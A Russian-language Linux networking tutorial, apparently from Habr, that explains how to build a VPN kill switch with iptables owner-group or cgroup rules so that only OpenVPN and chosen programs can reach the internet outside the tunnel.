Предполагается, что у вас уже есть VPN на основе OpenVPN и вы умеете пропускать весь трафик через него (например, при помощи опции redirect-gateway def1).
Также будем считать, что у вас есть достаточно свежее ядро с CONFIG\_NETFILTER\_XT\_MATCH\_OWNER и iptables.
#### Настройка iptables
В первую очередь необходимо создать специальную группу. Назовем её killswitch.
```
groupadd --system killswitch
```
Теперь добавим правила iptables:
```
iptables -A OUTPUT -m owner --gid-owner killswitch -j ACCEPT
iptables -A OUTPUT -o tun0 -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT
iptables -A OUTPUT -j REJECT --reject-with icmp-admin-prohibited
```
Что же здесь вообще происходит?1. Пакеты, отправленные процессами с GID killswitch, пропускаются в сеть.
2. Пакеты на интерфейсе tun0 пропускаются безусловно. Это тот самый сетевой интерфейс, который реализован поверх VPN-подключения. Если у вас этот сетевой интерфейс называется по-другому (опция dev в конфиге OpenVPN позволяет дать ему фиксированное имя вместо tunN), поменяйте его в правилах iptables выше.
3. Пакеты на интерфейсе lo точно так же пропускаются. lo — это loopback-интерфейс, на котором располагается известный 127.0.0.1 (localhost). Поскольку некоторые приложения используют localhost для коммуникации между процессами, его блокировать нежелательно.
4. Все остальные пакеты блокируются. Блокировка при этом происходит с отправкой ICMP-пакета «administratively prohibited» (код ошибки не играет существенной роли). Это лучше, чем просто дропать пакеты, так как в таком случае программы будут сразу получать ошибку, а не висеть до таймаута.
Если всё пойдет правильно, на этом моменте у вас должен пропасть доступ в интернет.
Чтобы запустить какую-то программу с доступом в интернет, можно использовать утилиту sg (а если добавить своего пользователя в эту группу, то можно будет вызывать её без sudo). Напомню, что до тех пор, пока эта группа не станет основной (effective GID), процесс не получит доступ в интернет без VPN. iptables не проверяет supplementary GIDs!
```
sg killswitch 'ping ya.ru'
```
Теперь всё, что осталось — это запустить внутри клиент OpenVPN при помощи sg.
```
sg killswitch 'openvpn config.ovpn'
```
Всё! Начиная с этого момента у вас должен заработать интернет во всех остальных программах.
#### Бонус: captive portals
Что делать, если для доступа в интернет нужно сперва зайти на страничку в браузереи нажать там «согласен», как, например, в московском метро?
Эта проблема легко решается. Точно так же, как запускается OpenVPN-клиент, можно запустить и любое другое приложение.
Так, у меня на такие случаи есть специальный профиль Firefox в вечном приватном режиме. Если запустить его через sg killswitch, он точно так же получит доступ в интернет без VPN.
```
sg killswitch 'firefox -P my_special_profile_name -no-remote'
```
#### Бонус: cgroups
Решение на основе cgroups требует iptables v1.6.0 и ядра с опцией CONFIG\_NETFILTER\_XT\_MATCH\_CGROUP.
```
cgcreate -g net_cls:killswitch # создаем cgroup killswitch с подсистемой net_cls
echo 0x00100001 > /sys/fs/cgroup/net_cls/killswitch/net_cls.classid # настраиваем метку, которая будет присваиваться пакетам (10:1)
chmod 666 /sys/fs/cgroup/net_cls/killswitch/tasks # позволяет всем пользователям запускать процессы в этой cgroup
iptables -A OUTPUT -m cgroup --cgroup 0x00100001 -j ACCEPT
iptables -A OUTPUT -o tun0 -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT
iptables -A OUTPUT -j REJECT --reject-with icmp-admin-prohibited
cgexec -g net_cls:killswitch ping ya.ru
cgexec -g net_cls:killswitch sudo openvpn config.ovpn
cgexec -g net_cls:killswitch firefox -P my_special_profile_name -no-remote
```
Следующие команды позволяют выдать доступ в интернет без VPN Firefox, а затем забрать его обратно:
```
pgrep -w firefox | xargs cgclassify -g net_cls:killswitch
pgrep -w firefox | xargs sudo cgclassify -g net_cls:/
```
#### Бонус: xtables-addons condition
Сидеть через VPN дома или на работе может и не быть особой нужды. `-m condition --condition killswitch` из xtables-addons, добавленный в последнее правило iptables (которое с REJECT), может сделать killswitch легко переключаемым через `echo <0|1> > /proc/net/nf_condition/killswitch.`
#### Заключение
В статье были рассмотрены два подхода к реализации killswitch при помощи iptables: через обычные группы и через cgroups. Оба варианта работают весьма гибко, позволяя по необходимости выдавать произвольным процессам доступ в интернет без VPN. Оба подхода практически эквивалентны, но способ через cgroups чуть сложнее настроить, требует очень свежего iptables, но зато позволяет выдавать и забирать доступ прямо во время работы процесса. | https://habr.com/ru/post/274445/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.